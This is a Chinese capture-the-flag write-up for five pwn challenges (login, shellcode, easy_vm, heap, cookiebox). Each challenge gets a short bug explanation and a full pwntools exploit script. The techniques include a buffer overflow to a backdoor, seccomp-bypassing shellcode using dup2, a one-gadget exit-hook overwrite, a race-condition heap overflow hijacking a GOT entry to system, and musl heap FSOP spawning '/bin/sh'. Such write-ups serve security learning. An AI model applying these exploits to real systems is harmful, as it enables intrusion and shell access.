链接:https://pan.baidu.com/s/1_1KIhSyo5p8qDfCraXSh5Q
提取码:n05i
login
risc-v pwn,给了后门,可以用cat fl*绕过
size_t的sVar1被byte截断存在溢出,比如0x107被byte截断0x07
from pwn import * from LibcSearcher import * context(os='linux',arch='riscv') pwnfile='./pwn' elf = ELF(pwnfile) rop = ROP(pwnfile) if args['REMOTE']: io = remote() else: # io=process(["qemu-riscv64","-g", "1234","-L","/usr/riscv64-linux-gnu/","./pwn"])#调试 io=process(["qemu-riscv64","-L","/usr/riscv64-linux-gnu/","./pwn"])# r = lambda x: io.recv(x) ra = lambda: io.recvall() rl = lambda: io.recvline(keepends=True) ru = lambda x: io.recvuntil(x, drop=True) s = lambda x: io.send(x) sl = lambda x: io.sendline(x) sa = lambda x, y: io.sendafter(x, y) sla = lambda x, y: io.sendlineafter(x, y) ia = lambda: io.interactive() c = lambda: io.close() li = lambda x: log.info(x) db = lambda x : gdb.attach(io,'b *'+x) dbpie = lambda x: gdb.attach(io,'b *$rebase('+x+')') b = lambda : gdb.attach(io) uu32 = lambda x : u32(x.ljust(4,b'\x00')) uu64 = lambda x : u64(x.ljust(8,b'\x00')) p =lambda x,y:print("\033[4;36;40m"+x+":\033[0m" + "\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + hex(y) + "\033[0m") def find_libc(func_name,func_ad): p(func_name,func_ad) global libc libc = LibcSearcher(func_name,func_ad) libcbase=func_ad-libc.dump(func_name) p('libcbase',libcbase) return libcbase #+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ padding=b'a'*256 backdor=0x123456ee payload=flat(padding,backdor) sa(b' name:',b'gr') sa(b'words',payload) sa(b'exec',b'cat fl*') io.interactive()
|
shellcode
开了沙箱,限制了read的fd要<=2,write的fd必须大于2,所幸可以使用dup2
0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x12 0xc000003e if (A != ARCH_X86_64) goto 0020 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x0f 0xffffffff if (A != 0xffffffff) goto 0020 0005: 0x15 0x0d 0x00 0x00000002 if (A == open) goto 0019 0006: 0x15 0x0c 0x00 0x00000021 if (A == dup2) goto 0019 0007: 0x15 0x00 0x05 0x00000000 if (A != read) goto 0013 0008: 0x20 0x00 0x00 0x00000014 A = fd >> 32 # read(fd, buf, count) 0009: 0x25 0x0a 0x00 0x00000000 if (A > 0x0) goto 0020 0010: 0x15 0x00 0x08 0x00000000 if (A != 0x0) goto 0019 0011: 0x20 0x00 0x00 0x00000010 A = fd # read(fd, buf, count) 0012: 0x25 0x07 0x06 0x00000002 if (A > 0x2) goto 0020 else goto 0019 0013: 0x15 0x00 0x06 0x00000001 if (A != write) goto 0020 0014: 0x20 0x00 0x00 0x00000014 A = fd >> 32 # write(fd, buf, count) 0015: 0x25 0x03 0x00 0x00000000 if (A > 0x0) goto 0019 0016: 0x15 0x00 0x03 0x00000000 if (A != 0x0) goto 0020 0017: 0x20 0x00 0x00 0x00000010 A = fd # write(fd, buf, count) 0018: 0x25 0x00 0x01 0x00000002 if (A <= 0x2) goto 0020 0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0020: 0x06 0x00 0x00 0x00000000 return KILL
|
可以执行我们输入的shellcode,最长17个字节,shellcode范围在[0x4F,0x5f],但是最后一bit shellcode没有检测
from pwn import * from LibcSearcher import * context(os='linux',arch='amd64') pwnfile='./shellcode' elf = ELF(pwnfile) libcelf=elf.libc rop = ROP(pwnfile) if args['REMOTE']: io = remote() else: io = process(pwnfile) r = lambda x: io.recv(x) ra = lambda: io.recvall() rl = lambda: io.recvline(keepends=True) ru = lambda x: io.recvuntil(x, drop=True) s = lambda x: io.send(x) sl = lambda x: io.sendline(x) sa = lambda x, y: io.sendafter(x, y) sla = lambda x, y: io.sendlineafter(x, y) ia = lambda: io.interactive() c = lambda: io.close() li = lambda x: log.info(x) db = lambda x : gdb.attach(io,'b *'+x) dbpie = lambda x: gdb.attach(io,'b *$rebase('+x+')') b = lambda : gdb.attach(io) uu32 = lambda x : u32(x.ljust(4,b'\x00')) uu64 = lambda x : u64(x.ljust(8,b'\x00')) p =lambda x,y:print("\033[4;36;40m"+x+":\033[0m" + "\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + hex(y) + "\033[0m") def find_libc(func_name,func_ad): p(func_name,func_ad) global libc libc = LibcSearcher(func_name,func_ad) libcbase=func_ad-libc.dump(func_name) p('libcbase',libcbase) return libcbase
sa(b'no)',asm('syscall')) shellcode=''' push rax pop rax push rax pop rax#fake padding push rbx pop rax#0 pop rsi pop rsi pop rsi#0x7ffd451d99c0 ◂— 0x50f push rax pop rdi#0 push rsi pop rsp pop rdx#0x50f push rdx push rsi ret ''' print(len(asm(shellcode))) sa(b'===\n',asm(shellcode)) orw_dup2=''' push 0x67616c66 mov rdi,rsp xor esi,esi mov eax,2 syscall #open
mov rax,0x21 mov rdi,0x3 mov rsi,0x2 syscall#dup2(3,2) xor rax,rax mov rsi,rsp push 0x2 pop rdi mov rdx,0x30 syscall #read(2,rsp,0x30) mov rax,0x21 mov rdi,0x1 mov rsi,0x5 syscall#dup2(1,5) mov rax,0x1 mov rsi,rsp mov rdi,0x5 syscall#write(5,rsp) ''' pause() s(b'aa'+asm(orw_dup2)) io.interactive()
|
easy_vm
qword_201040里含有残余的unsortedbin,程序具有任意写,可以利用偏移确认ogg,写exithook
from pwn import * from LibcSearcher import * context(os='linux',arch='amd64') pwnfile='./pwn' elf = ELF(pwnfile) libcelf=elf.libc rop = ROP(pwnfile) if args['REMOTE']: io = remote() else: io = process(pwnfile) r = lambda x: io.recv(x) ra = lambda: io.recvall() rl = lambda: io.recvline(keepends=True) ru = lambda x: io.recvuntil(x, drop=True) s = lambda x: io.send(x) sl = lambda x: io.sendline(x) sa = lambda x, y: io.sendafter(x, y) sla = lambda x, y: io.sendlineafter(x, y) ia = lambda: io.interactive() c = lambda: io.close() li = lambda x: log.info(x) db = lambda x : gdb.attach(io,'b *'+x) dbpie = lambda x: gdb.attach(io,'b *$rebase('+x+')') b = lambda : gdb.attach(io) uu32 = lambda x : u32(x.ljust(4,b'\x00')) uu64 = lambda x : u64(x.ljust(8,b'\x00')) p =lambda x,y:print("\033[4;36;40m"+x+":\033[0m" + "\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + hex(y) + "\033[0m") def find_libc(func_name,func_ad): p(func_name,func_ad) global libc libc = LibcSearcher(func_name,func_ad) libcbase=func_ad-libc.dump(func_name) p('libcbase',libcbase) return libcbase
ogg=[0x45206,0x4525a,0xef9f4,0xf0897] code=flat( 2, 7,0x3c3b78, 6,ogg[3], 1, 7,ogg[3], 6,0x626f48, 3 )
sa(b'code:',code) io.interactive()
|
heap
多线程堆题,每个操作都会起一个线程
每个paper会分配一个0x10管理结构
struct paper { void *content_ptr; int len; };
|
edit里存在条件竞争导致的堆溢出,如果此时edit paper->len=0x68大小的paper,sleep期间,这个paper被释放,并申请了一个长度为0x58大小的paper B,paper B就可以造成0x10大小的堆溢出,可以覆盖掉下一个paper C的管理结构控制content_ptr实现泄露地址和任意地址写
子进程分配堆时,在页开始的0x8a0处是指向main_arena的指针,可以用来泄露libc
strtok函数会调用strspn_sse42函数
strspn_sse42的got是可写的可以劫持为system
from pwn import * from LibcSearcher import * context(os='linux',arch='amd64') pwnfile='./heap' elf = ELF(pwnfile) libcelf=elf.libc rop = ROP(pwnfile) if args['REMOTE']: io = remote() else: io = process(pwnfile) r = lambda x: io.recv(x) ra = lambda: io.recvall() rl = lambda: io.recvline(keepends=True) ru = lambda x: io.recvuntil(x, drop=True) s = lambda x: io.send(x) sl = lambda x: io.sendline(x) sa = lambda x, y: io.sendafter(x, y) sla = lambda x, y: io.sendlineafter(x, y) ia = lambda: io.interactive() c = lambda: io.close() li = lambda x: log.info(x) db = lambda x : gdb.attach(io,'b *'+x) dbpie = lambda x: gdb.attach(io,'b *$rebase('+x+')') b = lambda : gdb.attach(io) uu32 = lambda x : u32(x.ljust(4,b'\x00')) uu64 = lambda x : u64(x.ljust(8,b'\x00')) p =lambda x,y:print("\033[4;36;40m"+x+":\033[0m" + "\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + hex(y) + "\033[0m") def find_libc(func_name,func_ad): p(func_name,func_ad) global libc libc = LibcSearcher(func_name,func_ad) libcbase=func_ad-libc.dump(func_name) p('libcbase',libcbase) return libcbase
def add(content): io.sendlineafter(b'Your chocie:\n\n', b'1 ' + content)
def edit(index, content): io.sendlineafter(b'Your chocie:\n\n', b'3 ' + str(index).encode() + b':' + content)
def delete(index): io.sendlineafter(b'Your chocie:\n\n', b'4 ' + str(index).encode())
def show(index): io.sendlineafter(b'Your chocie:\n\n', b'2 ' + str(index).encode())
add(b"a"*0x62) edit(0,b"d"*0x60+b"\xa0\x08") delete(0) add(b"b"*0x58) add(b"c"*0x58)
sleep(2) show(1) ru(b'nt: ') libc_base=uu64(r(6))-0x219c80 p('libcbase',libc_base) system=libc_base+libcelf.sym["system"] sl(b'1 '+b"a"*0x68) edit(2,b"b"*0x60+p64(libc_base+0x219058-0x50)) delete(2) add(b"a"*0x58) add(b"a"*0x58) sleep(2) edit(3,b"a"*0x50+p64(system)) sleep(2) sl(b'/bin/sh\x00') io.interactive()
|
2.35 exit前加锁函数变为了pthread_mutex_lock,存储在 ___rtld_mutex_lock中,但是这个地址不可写了
或者可以改elf的link_map->Elf64_Addr l_addr使.fini变为ogg
或者可以通过environ泄露栈地址,通过偏移修改返回地址为ogg
cookiebox
grxer@Ubuntu22 ~/s/m/2/c/t/P/cookieBox> ./libc.so musl libc (x86_64) Version 1.1.24 Dynamic Program Loader Usage: ./libc.so [options] [--] pathname [args]
|
1.1.24 musl pwn 这篇文章比较详细 https://www.anquanke.com/post/id/202253
patch方法
patchelf --set-interpreter ./libc.so ./cookiebox
|
delete时存在uaf可以,虽然在edit和show时还有个大小检测,但是利用之前残余的指针来释放现有的堆,绕过这个大小检测
申请过程中有类似glibc中unlink的操作
static void unbin(struct chunk *c, int i) { if (c->prev == c->next) a_and_64(&mal.binmap, ~(1ULL<<i)); c->prev->next = c->next; c->next->prev = c->prev; c->csize |= C_INUSE; NEXT_CHUNK(c)->psize |= C_INUSE; }
|
可以实现写地址,覆盖bin->head为stdin-0x20,打FSOP即可,要注意stdin-0x10和-0x8处存放的地址要可写
from pwn import * from LibcSearcher import * context(os='linux',arch='amd64') pwnfile='./cookieBox' elf = ELF(pwnfile) libcelf=elf.libc rop = ROP(pwnfile) if args['REMOTE']: io = remote() else: io = process(pwnfile) r = lambda x: io.recv(x) ra = lambda: io.recvall() rl = lambda: io.recvline(keepends=True) ru = lambda x: io.recvuntil(x, drop=True) s = lambda x: io.send(x) sl = lambda x: io.sendline(x) sa = lambda x, y: io.sendafter(x, y) sla = lambda x, y: io.sendafter(x, y) ia = lambda: io.interactive() c = lambda: io.close() li = lambda x: log.info(x) db = lambda x : gdb.attach(io,'b *'+x) dbpie = lambda x: gdb.attach(io,'b *$rebase('+x+')') b = lambda : gdb.attach(io) uu32 = lambda x : u32(x.ljust(4,b'\x00')) uu64 = lambda x : u64(x.ljust(8,b'\x00')) p =lambda x,y:print("\033[4;36;40m"+x+":\033[0m" + "\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + hex(y) + "\033[0m") def find_libc(func_name,func_ad): p(func_name,func_ad) global libc libc = LibcSearcher(func_name,func_ad) libcbase=func_ad-libc.dump(func_name) p('libcbase',libcbase) return libcbase
def menu(index): io.sendafter(b'>>', str(index).encode()) def add(size, content=b'a'): menu(1) io.sendafter(b'input the size:', str(size).encode()) io.sendafter(b'input the Content:', content) def show(index): menu(4) io.sendafter(b'input the idx:', str(index).encode()) def edit(index, content): menu(3) io.sendafter(b'input the idx:', str(index).encode()) io.sendafter(b'input the content:', content) def delete(index): menu(2) io.sendafter(b'input the idx:', str(index).encode())
add(0x70,b'a'*8) add(0x70,b'b'*8) add(0x70,b'c'*8) add(0x70,b'c'*8) show(0) ru(b'a'*8) libc=uu64(r(6))-0x292e50 stdin=libc+0x292200 system=libc+0x42688 heap=libc+ 0x292b00 p('libc',libc) delete(1) add(0x70) delete(1)
edit(4,p64(stdin-0x20) + p64(stdin-0x20)) add(0x70) delete(1) edit(4, p64(heap) + p64(stdin - 0x20)) add(0x70)
payload=b'a' * 0x10 payload += b"/bin/sh\x00" payload += b'X' * 32 payload += p64(0xdeadbeef) payload += b'X' * 8 payload += p64(0xbeefdead) payload += b'X' * 8 payload += p64(system) add(0x70,payload) menu(5) io.interactive()
|